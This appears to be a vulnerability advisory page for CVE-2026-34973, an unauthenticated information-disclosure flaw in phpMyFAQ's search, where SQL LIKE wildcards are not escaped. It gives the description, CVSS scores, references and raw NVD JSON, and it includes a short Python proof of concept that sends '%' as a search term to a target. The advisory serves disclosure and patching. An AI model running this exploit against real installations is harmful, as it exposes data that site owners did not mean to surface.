CVE-2026-34973

Description

phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the searchCustomPages() method in phpmyfaq/src/phpMyFAQ/Search.php uses real_escape_string() (via escape()) to sanitize the search term before embedding it in LIKE clauses. However, real_escape_string() does not escape SQL LIKE metacharacters % (match any sequence) and _ (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure. This issue has been patched in version 4.1.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:*:*:*:*:*:*:* - VULNERABLE

phpMyFAQ < 4.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34973: phpMyFAQ Information Disclosure
import requests

def exploit_poc(target_url):
    # Target endpoint for searching custom pages
    search_url = f"{target_url}/index.php"

    # Payload using SQL LIKE wildcard '%' to match any sequence
    # This attempts to return all records in the search result
    payload = {
        "action": "search",
        "search": "%"  # Injecting wildcard
    }

    try:
        response = requests.get(search_url, params=payload, timeout=10)

        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Check the response body for unintended information disclosure.")
            print(f"Response length: {len(response.text)} bytes")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")

    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com/phpmyfaq" # Replace with actual target
    exploit_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34973
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34973
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34973/
[4] VulDB https://vuldb.com/cve/CVE-2026-34973
[5] https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1
[6] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gcp9-5jc8-976x

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34973", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:51.750", "lastModified": "2026-04-06T16:11:33.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the searchCustomPages() method in phpmyfaq/src/phpMyFAQ/Search.php uses real_escape_string() (via escape()) to sanitize the search term before embedding it in LIKE clauses. However, real_escape_string() does not escape SQL LIKE metacharacters % (match any sequence) and _ (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure. This issue has been patched in version 4.1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BCE1B56B-7608-4651-A912-28CF11DAF1F5"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gcp9-5jc8-976x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}